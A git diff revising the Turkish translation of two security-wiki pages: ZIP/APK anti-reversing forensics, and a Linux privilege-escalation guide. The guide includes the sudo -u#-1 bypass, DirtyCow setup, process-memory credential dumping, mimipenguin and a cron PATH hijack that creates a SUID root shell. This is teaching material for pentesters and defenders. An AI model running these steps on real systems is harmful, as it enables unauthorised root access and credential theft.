diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 9d6f9ff98..bfd933711 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,37 +2,37 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** zip dosyalarını yönetmek için; tanılama, onarma ve şifre kırma işlemlerinde gereklidir. İşte bazı önemli araçlar: +**Komut satırı araçları**, **zip dosyalarını** yönetmek, teşhis etmek, onarmak ve kırmak için esastır. İşte bazı önemli araçlar: -- **`unzip`**: Bir zip dosyasının neden açılmayabileceğini ortaya çıkarır. -- **`zipdetails -v`**: zip dosyası format alanlarının ayrıntılı analizini sunar. +- **`unzip`**: Bir zip dosyasının neden açılmayabileceğini gösterir. +- **`zipdetails -v`**: Zip dosyası formatı alanlarının ayrıntılı analizini sunar. - **`zipinfo`**: Bir zip dosyasının içeriğini çıkarmadan listeler. -- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozulmuş zip dosyalarını onarmayı dener. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Yaklaşık 7 karaktere kadar parolalar için etkili bir zip parola kırma aracı. +- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozuk zip dosyalarını onarmaya çalışır. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zip parolalarını brute-force ile kırmak için bir araç; yaklaşık 7 karaktere kadar parolalar için etkilidir. -[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sağlar. +Bu [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sağlar. -Şuna dikkat etmek önemlidir: parola korumalı zip dosyaları içinde dosya adlarını veya dosya boyutlarını şifrelemezler; bu, RAR veya 7z dosyalarının sahip olmadığı bir güvenlik açığıdır (bu formatlar bu bilgileri şifreleyebilir). Ayrıca, eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifresiz bir kopyası mevcutsa bir plaintext attack'a karşı savunmasızdır. Bu saldırı, bilinen içeriği kullanarak zip parolasını kırmayı sağlar; bu zafiyet [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) adresinde ve [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) içinde detaylandırılmıştır. Ancak, AES-256 ile korunmuş zip dosyaları bu plaintext attack'a karşı bağışıktır; bu da hassas veriler için güvenli şifreleme yöntemleri seçmenin önemini gösterir. +Parola korumalı zip dosyalarının dosya adlarını veya dosya boyutlarını **şifrelemediğini** bilmek önemlidir; bu, bu bilgileri şifreleyen RAR veya 7z ile paylaşılan bir güvenlik açığı değildir. Ayrıca, daha eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifrelenmemiş bir kopyası mevcutsa **plaintext attack**'a karşı savunmasızdır. Bu saldırı bilinen içeriği kullanarak zip parolasını kırar; bu zafiyet [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) ve [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) adreslerinde detaylandırılmıştır. Ancak **AES-256** şifrelemesiyle korunan zip dosyaları bu **plaintext attack**'e karşı bağışıktır; bu da hassas veriler için güvenli şifreleme yöntemlerinin seçilmesinin önemini gösterir. --- -## Manipüle edilmiş ZIP başlıkları kullanılarak APK'larda anti-reversing hileleri +## APK'lerde manipüle edilmiş ZIP başlıkları kullanılarak anti-reversing hileleri -Modern Android malware dropper'ları, APK'nın cihazda kurulabilir kalmasını sağlarken static araçları (jadx/apktool/unzip) bozmak için bozuk ZIP metadata'sı kullanır. En yaygın hileler şunlardır: +Modern Android malware dropları, APK'nın cihazda kurulabilir kalmasını sağlarken statik araçları (jadx/apktool/unzip) bozmak için hatalı ZIP metadata'sı kullanır. En yaygın hileler şunlardır: -- ZIP General Purpose Bit Flag (GPBF) bit 0'ı set ederek sahte şifreleme -- Parser'ları şaşırtmak için büyük/özel Extra alanlarını kötüye kullanma -- Gerçek öğeleri gizlemek için dosya/klasör isim çakışmaları (örn., gerçek `classes.dex` yanında `classes.dex/` isimli bir dizin) +- ZIP General Purpose Bit Flag (GPBF) bit 0'ı ayarlayarak sahte şifreleme +- Ayrıştırıcıları şaşırtmak için büyük/özel Extra fields kullanımı +- Gerçek artefaktları gizlemek için dosya/dizin adı çakışmaları (ör. gerçek `classes.dex`'in yanında `classes.dex/` adlı bir dizin) -### 1) Fake encryption (GPBF bit 0 set) without real crypto +### 1) Gerçek kriptografi olmadan sahte şifreleme (GPBF bit 0 ayarlı) Belirtiler: -- `jadx-gui` şu tür hatalarla başarısız olur: +- `jadx-gui` şu gibi hatalarla başarısız olur: ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` core APK dosyaları için parola ister, oysa geçerli bir APK `classes*.dex`, `resources.arsc`, veya `AndroidManifest.xml` dosyalarını şifreli olamaz: +- `unzip` geçerli bir APK'nın `classes*.dex`, `resources.arsc` veya `AndroidManifest.xml` dosyaları şifreli olamayacağı halde temel APK dosyaları için parola ister: ```bash unzip sample.apk @@ -47,7 +47,7 @@ zipdetails ile tespit: ```bash zipdetails -v sample.apk | less ``` -Yerel ve merkezi başlıklar için General Purpose Bit Flag'e bakın. İhbar edici bir değer, çekirdek girdiler için bile bit 0'ın setlenmiş olması (Encryption): +Yerel ve merkezi başlıklar için General Purpose Bit Flag'e bakın. İpuçlarından biri, core entries için bile bit 0'ın ayarlı olmasıdır (Encryption): ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -Heuristik: Bir APK cihazda yüklenip çalışıyorsa ama araçlara göre core girdileri "encrypted" görünüyorsa, GPBF üzerinde oynanmış demektir. +Sezgisel: Eğer bir APK cihazda yüklenip çalışıyor ama araçlar için çekirdek girdileri "şifrelenmiş" gibi görünüyorsa, GPBF üzerinde oynama yapılmıştır. -Düzeltme: Hem Local File Headers (LFH) hem de Central Directory (CD) girdilerindeki GPBF bit 0'ı temizleyerek yapılır. Minimal byte-patcher: +Düzeltme: Hem Local File Headers (LFH) hem de Central Directory (CD) girdilerindeki GPBF bit 0'ı temizleyin. Minimal byte-patcher: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -94,31 +94,31 @@ Kullanım: python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -Artık çekirdek girişlerinde `General Purpose Flag 0000` görmelisiniz ve araçlar APK'yi tekrar ayrıştıracaktır. +Artık çekirdek girdilerinde `General Purpose Flag 0000` görmelisiniz ve araçlar APK'yı yeniden ayrıştıracaktır. -### 2) Ayrıştırıcıları bozmak için büyük/özel Extra fields +### 2) Ayrıştırıcıları bozmak için büyük/özel Extra alanlar -Saldırganlar, dekompilerleri yanıltmak için başlıklara aşırı büyük Extra fields ve tuhaf ID'ler yerleştirir. Gerçek dünyada oraya gömülü özel işaretçiler (ör. `JADXBLOCK` gibi dizeler) görebilirsiniz. +Saldırganlar decompiler'ları bozmak için başlıklara aşırı büyük Extra alanlar ve garip ID'ler ekler. Gerçek dünyada oraya gömülü özel işaretler (ör. `JADXBLOCK` gibi dizeler) görebilirsiniz. İnceleme: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -Gözlemlenen örnekler: `0xCAFE` ("Java Executable") veya `0x414A` ("JA:") gibi bilinmeyen ID'lerin büyük payloadlar taşıması. +Gözlemlenen örnekler: `0xCAFE` ("Java Executable") veya `0x414A` ("JA:") gibi bilinmeyen ID'ler büyük payloads taşıyor. -DFIR heuristikleri: -- Çekirdek girdilerde (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) Extra fields olağandışı büyükse uyarı verin. -- Bu girdilerdeki bilinmeyen Extra ID'lerini şüpheli olarak değerlendirin. +DFIR heuristics: +- Core girdilerde (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) Extra fields olağandışı şekilde büyükse uyarı oluşturun. +- Bu girdilerdeki bilinmeyen Extra ID'lerini şüpheli kabul edin. -Pratik çözüm: arşivi yeniden oluşturmak (ör. çıkarılan dosyaları yeniden ziplemek) zararlı Extra fields'leri kaldırır. Araçlar sahte şifreleme nedeniyle çıkarmayı reddediyorsa, önce yukarıda belirtildiği gibi GPBF bit 0'ı temizleyin, sonra yeniden paketleyin: +Pratik hafifletme: arşivi yeniden oluşturmak (ör. çıkarılan dosyaları yeniden zip'lemek) kötü amaçlı Extra field'ları temizler. Araçlar sahte şifreleme nedeniyle çıkarmayı reddederse, önce yukarıda belirtildiği gibi GPBF bit 0'ı temizleyin, sonra yeniden paketleyin: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk (cd /tmp/apk && zip -qr ../clean.apk .) ``` -### 3) Dosya/Dizin ad çakışmaları (gerçek artefaktları gizleme) +### 3) Dosya/Dizin adı çakışmaları (gerçek artefaktların gizlenmesi) -Bir ZIP hem bir dosya `X` hem de bir dizin `X/` içerebilir. Bazı extractors ve decompilers karışıklık yaşayabilir ve gerçek dosyayı bir dizin girdisiyle üst üste yazabilir veya gizleyebilir. Bu, `classes.dex` gibi çekirdek APK isimleriyle çakışan girdilerde gözlemlenmiştir. +Bir ZIP içinde hem bir dosya `X` hem de bir dizin `X/` bulunabilir. Bazı extractors ve decompilers karışıp gerçek dosyanın üzerine dizin girdisi bindirebilir veya onu gizleyebilir. Bu, `classes.dex` gibi temel APK adlarıyla çakışan girdilerde gözlemlenmiştir. Triage ve güvenli çıkarma: ```bash @@ -149,9 +149,9 @@ if len(variants) > 1: print('COLLISION', base, '->', variants) ``` Blue-team tespit fikirleri: -- Flag, local header'ları şifrelemeyi işaret eden (GPBF bit 0 = 1) fakat yine de install/run olan APK'ler. -- Flag, core entry'lerdeki büyük/bilinmeyen Extra field'lar (ör. `JADXBLOCK` gibi marker'lara bak). -- Flag path-collisions (`X` and `X/`) özellikle `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` için. +- Yerel başlıkları şifrelemeyi işaret eden (GPBF bit 0 = 1) fakat yine de kurulan/çalıştırılan APK'ları işaretle. +- Çekirdek girişlerindeki büyük/bilinmeyen Extra fields'leri işaretle (look for markers like `JADXBLOCK`). +- Yol çakışmalarını (`X` ve `X/`) özellikle `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` için işaretle. --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 9268ecfeb..43b1314a7 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,54 +2,54 @@ {{#include ../../banners/hacktricks-training.md}} -## Sistem Bilgisi +## Sistem Bilgileri -### OS info +### OS bilgisi -Çalışan OS hakkında bilgi edinmeye başlayalım +Çalışan işletim sistemi hakkında bazı bilgiler edinmeye başlayalım. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### PATH +### Path -Eğer **`PATH` değişkenindeki herhangi bir klasörde yazma izniniz varsa** bazı libraries veya binaries'i hijack edebilirsiniz: +Eğer **`PATH` değişkeninin içindeki herhangi bir dizin üzerinde yazma izinlerine sahipseniz** bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz: ```bash echo $PATH ``` -### Env info +### Ortam bilgisi -Ortamdaki değişkenlerde ilginç bilgiler, parolalar veya API anahtarları var mı? +Ortam değişkenlerinde ilginç bilgiler, parolalar veya API anahtarları var mı? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın +Kernel version'ı kontrol edin ve escalate privileges için kullanılabilecek herhangi bir exploit olup olmadığını kontrol edin ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -İyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** şurada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +İyi bir vulnerable kernel listesi ve bazı **compiled exploits** içeren örnekleri şurada bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Bu siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: +O web sitesinden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Kernel exploit'lerini aramaya yardımcı olabilecek araçlar: +Kernel exploitlerini aramak için yardımcı olabilecek araçlar şunlardır: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, yalnızca kernel 2.x için exploitleri kontrol eder) -Her zaman **kernel sürümünü Google'da arayın**; belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olabilirsiniz. +Her zaman **kernel sürümünü Google'da arayın**; belki kernel sürümünüz bazı kernel exploit'lerinde belirtilmiştir ve böylece bu exploit'in geçerli olduğundan emin olabilirsiniz. ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 +Linux Yetki Yükseltme - Linux Kernel <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo sürümü -Görünen güvenlik açığı bulunan sudo sürümlerine dayanarak: +Şu dosyada görünen savunmasız sudo sürümlerine dayanarak: ```bash searchsploit sudo ``` -sudo sürümünün zafiyetli olup olmadığını bu grep ile kontrol edebilirsiniz. +sudo sürümünün savunmasız olup olmadığını bu grep ile kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Kaynak: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg signature verification failed +### Dmesg imza doğrulaması başarısız oldu -**smasher2 box of HTB**'ye bu vuln'ün nasıl exploit edilebileceğine dair bir **örnek** için bakın. +Bu vuln'ün nasıl istismar edilebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Olası savunmaları sıralayın +## Olası savunmaları listeleyin ### AppArmor ```bash @@ -123,16 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Eğer bir docker container'ın içindeyseniz, ondan kaçmayı deneyebilirsiniz: +Bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: {{#ref}} docker-security/ {{#endref}} -## Sürücüler +## Diskler -Neyin **what is mounted and unmounted** olduğunu, nerede olduğunu ve nedenini kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz +Hangi şeylerin **mounted ve unmounted** olduğunu, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Yararlı yazılımlar -Kullanışlı binaries'leri listeleyin +Yararlı ikili dosyaları listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, bazı kernel exploit'lerini kullanmanız gerekiyorsa faydalıdır çünkü bunları kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. +Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, kernel exploit kullanmanız gerekirse faydalıdır çünkü kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Açığı Olan Kurulu Yazılımlar +### Zayıf Yazılımlar Yüklü -Kurulu paketlerin ve servislerin **sürümünü** kontrol edin. Belki istismar edilebilecek eski bir Nagios sürümü (örneğin) vardır ve bu escalating privileges için kullanılabilir…\ -Daha şüpheli kurulu yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. +Yüklü paketlerin ve servislerin **sürümünü** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır; bu sürüm escalating privileges için istismar edilebilir…\ +Daha şüpheli görünen yüklü yazılımların sürümlerinin elle kontrol edilmesi önerilir. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Makineye SSH erişiminiz varsa, makinede yüklü olan eski ve güvenlik açığı bulunan yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. +Makineye SSH erişiminiz varsa, makine içinde yüklü olan eski ve zafiyetli yazılımları kontrol etmek için **openVAS** kullanabilirsiniz. -> [!NOTE] > _Bu komutların büyük ölçüde işe yaramayacak çok fazla bilgi göstereceğini unutmayın; bu nedenle, yüklü yazılım sürümlerinin bilinen exploits'lere karşı savunmasız olup olmadığını kontrol eden OpenVAS veya benzeri bazı uygulamalar önerilir_ +> [!NOTE] > _Bu komutlar çoğunlukla büyük oranda işe yaramayacak çok fazla bilgi gösterecektir; bu nedenle yüklü herhangi bir yazılım sürümünün bilinen exploit'lere karşı savunmasız olup olmadığını kontrol eden OpenVAS veya benzeri uygulamaların kullanılması önerilir._ ## İşlemler -Hangi **işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin olması gerekenden **daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki bir tomcat root tarafından çalıştırılıyordur?) +**Hangi işlemlerin** çalıştırıldığını inceleyin ve herhangi bir işlemin olması gerekenden **daha fazla ayrıcalığa sahip olup olmadığını** kontrol edin (örneğin tomcat'in root olarak çalıştırılması?). ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Ayrıca **check your privileges over the processes binaries**, belki birini overwrite edebilirsiniz. +Ayrıca işlemlerin ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin; belki başkasınınkini üzerine yazabilirsiniz. -### Process monitoring +### Süreç izleme -Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında çalışan zafiyetli süreçleri tespit etmek için çok faydalı olabilir. +İşlemleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında yürütülen savunmasız süreçleri tespit etmek için çok faydalı olabilir. -### Process memory +### İşlem belleği -Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde açık metin olarak kaydeder**.\ -Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir, bu yüzden bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha kullanışlıdır.\ -Ancak unutmayın ki **as a regular user you can read the memory of the processes you own**. +Bazı sunucu servisleri **kimlik bilgilerini açık metin olarak bellekte** saklayabilir.\ +Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir; bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\ +Ancak, düzenli bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabileceğinizi unutmayın. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> Günümüzde çoğu makine varsayılan olarak **ptrace'e izin vermez**, bu da ayrıcalıksız kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: aynı uid'ye sahip oldukları sürece tüm süreçler debug edilebilir. Bu ptracing'in klasik çalışma şeklidir. +> - **kernel.yama.ptrace_scope = 1**: yalnızca ebeveyn süreç debug edilebilir. +> - **kernel.yama.ptrace_scope = 2**: ptrace kullanmak sadece admin'e izinlidir, çünkü CAP_SYS_PTRACE yetkisi gerektirir. +> - **kernel.yama.ptrace_scope = 3**: ptrace ile hiçbir süreç izlenemez. Bir kez ayarlandığında, ptracing'i yeniden etkinleştirmek için yeniden başlatma gerekir. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i elde edip içindeki kimlik bilgilerini arayabilirsiniz. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Belirli bir işlem kimliği için, **maps, o işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenmiş bölgenin izinlerini** gösterir. Sahte (pseudo) dosya **mem**, **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bu bölgelerin offset'lerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri dump ederek** bir dosyaya aktarmak için kullanırız. +Belirli bir işlem kimliği (PID) için, **maps bir işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenen bölgenin izinlerini** gösterir. O **mem** pseudo dosyası **işlemin belleğini doğrudan açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve ofsetlerini biliriz. Bu bilgiyi kullanarak **mem dosyasında konumlanıp tüm okunabilir bölgeleri** bir dosyaya kaydederiz. ```bash procdump() ( @@ -236,9 +236,9 @@ Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabil ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump için linux -ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış halidir. Edinin: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump, Windows için Sysinternals araç takımı içindeki klasik ProcDump aracının Linux için yeniden tasarlanmış halidir. Edinmek için: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,33 +267,33 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Araçlar -Bir işlemin belleğini dökmek için şunları kullanabilirsiniz: +Bir işlemin belleğini dump etmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemin belleğini dökebilirsiniz +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root gereksinimlerini manuel olarak kaldırabilir ve sahip olduğunuz işlemi dump edebilirsiniz - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) ### İşlem Belleğinden Kimlik Bilgileri #### Manuel örnek -If you find that the authenticator process is running: +Eğer authenticator işleminin çalıştığını görürseniz: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -İşlemi dump edebilir (bir işlemin belleğini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve belleğin içinde kimlik bilgilerini arayabilirsiniz: +Process'i dump edebilirsiniz (farklı yolları bulmak için önceki bölümlere bakın: dump the memory of a process) ve memory içinde credentials arayın: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten düz metin kimlik bilgilerini çalacak** ve bazı **iyi bilinen dosyalardan**. Doğru çalışması için root ayrıcalıkları gerektirir. +The tool [https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) will **düz metin kimlik bilgilerini bellekten** and from some **iyi bilinen dosyalardan**. It requires root privileges to work properly. | Özellik | Süreç Adı | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM parolası (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -316,20 +316,20 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Zamanlanmış/Cron görevleri -Herhangi bir zamanlanmış/Cron görevin zayıf olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir scriptten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). +Herhangi bir zamanlanmış görevin zafiyetli olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanabilir misin? root'un kullandığı dizine belirli dosyalar oluşturabilir misin?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron yolu -Örneğin, _/etc/crontab_ içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Örneğin, içinde _/etc/crontab_ şu PATH'ı bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Dikkat: kullanıcı "user"ın /home/user üzerinde yazma yetkisi var_) +(_Dikkat: "user" kullanıcısının /home/user üzerinde yazma iznine sahip olduğunu unutmayın_) -Eğer bu crontab içinde root kullanıcısı PATH'i ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ -Böylece root shell elde edebilirsiniz: +Eğer bu crontab içinde root kullanıcısı PATH ayarlamadan bir komut veya script çalıştırmaya çalışıyorsa. Örneğin: _* * * * root overwrite.sh_\ +Böylece şu komutu kullanarak root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,13 +337,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -Eğer root tarafından çalıştırılan bir script'in bir komutunda “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için kullanabilirsiniz. Örnek: +Eğer bir script root tarafından çalıştırılıyorsa ve bir komut içinde “**\***” varsa, bunu 